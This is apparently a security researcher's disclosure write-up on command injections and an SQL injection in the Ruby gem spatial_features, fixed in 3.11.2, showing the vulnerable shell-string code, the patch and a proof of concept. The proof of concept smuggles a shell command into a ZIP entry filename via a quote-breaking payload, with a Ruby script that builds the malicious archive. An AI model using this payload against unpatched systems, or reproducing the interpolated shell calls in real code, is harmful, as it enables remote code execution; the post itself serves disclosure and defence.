Security research · Ruby

A filename led me to two command injections in spatial_features.

I was looking through the gem for a personal project when a call to system made me trace its shapefile import flow. A filename inside a ZIP archive was enough to run a command on the server, before the shapefile was even validated.

Coordinated disclosure. I reported the issue privately. It was fixed before disclosure and published on August 19, 2026. Versions through 3.11.1 are vulnerable; 3.11.2 contains the fix.

I was reading the gem for a side project

I was not auditing spatial_features. I was considering it for a side project and reading through its shapefile import code. This call in Importers::Shapefile#project_to_4326 caught my eye:

system("ogr2ogr -s_srs '#{proj4}' -t_srs EPSG:4326 '#{output_path}' '#{file_path}'")

A system call built from one big string is always worth tracing. This one had three interpolated values: the projection, the output path and the shapefile path. I started with file_path.

The filename ended up in a shell

When extracting the archive, the gem reused the entry name as-is:

output_filename = entry.name
path = "#{tmpdir}/#{output_filename}"

The resulting path later reached another command, this time through Ruby backticks:

`gdalsrsinfo "#{file_path}" -o proj4`

The double quotes make the path look escaped. They are not: they are part of the shell command. A filename containing another quote can break out of them. I built a ZIP entry along these lines:

x";touch /tmp/sf_pwned;".shp

The file did not even have to be a valid shapefile:

evil_name = %Q{x";touch /tmp/sf_pwned;".shp}

Zip::OutputStream.open("upload.zip") do |zip|
  zip.put_next_entry(evil_name)
  zip.write("not-a-real-shapefile")
end

importers = SpatialFeatures::Importers::Shapefile.create_all("upload.zip")
importers.first.features rescue nil

File.exist?("/tmp/sf_pwned") # => true

The command ran before the gem validated the file format. I reproduced it with the published gem in a clean container running Ruby 3.3 and GDAL.

The .prj file opened a second path

Once the first PoC worked, I went back to the other arguments passed to system. proj4 came from the archive's .prj file and was placed between single quotes in the ogr2ogr command. A quote in that file could close the argument and append another command.

The maintainer also found an SQL injection

While reviewing my report, the maintainer spotted a third problem. The same projection went straight into a PostGIS query: ST_Transform(ST_GeomFromText('#{wkt}'), '#{proj4}', 4326). A quote in proj4 could escape the SQL literal. I had missed that one in my initial report.

Who could actually exploit it?

spatial_features does not decide who can upload a shapefile. The application using the gem does. The 8.8 CVSS score therefore assumes that upload requires an account.

  • Authenticated upload: a logged-in user can run commands with the application process's privileges and queries with the PostgreSQL user's privileges.
  • Public upload: the same bug becomes unauthenticated remote code execution.

The vulnerable code had been there since 2016. Every release through 3.11.1 was affected.

Stop building command strings

The fix landed about a week after my report. For ogr2ogr, the maintainer replaced the full command string with separate arguments:

system(
  'ogr2ogr',
  '-s_srs', proj4,
  '-t_srs', 'EPSG:4326',
  output_path,
  file_path
)

Ruby no longer has to invoke a shell, so quotes and semicolons in a filename are not interpreted. gdalsrsinfo now goes through Open3.capture2, SQL values through connection.quote, and ZIP extraction rejects paths outside the temporary directory as well as symbolic links. The commit also adds regression tests.

The repository had no private reporting channel

GitHub Security Advisories were not enabled on the repository. Opening a public issue with the PoC was out of the question, so I found the maintainer's email address and contacted him directly.

He replied quickly, enabled the advisory and wrote the patch. I supplied the PoC and then tested the published gem. Version 3.11.2 shipped on August 16, 2026. The security advisory went public three days later.

If you use spatial_features

Upgrade to at least 3.11.2. The application cannot really filter these values before import because the gem itself opens the ZIP and invokes the external commands.

What put me on the trail was not a scanner or an unusual technique. It was a call to system and one simple question: where does each argument come from?

Need a Ruby application tested?

I manually test web applications, APIs and their dependencies. You work with the same person from scoping through retesting.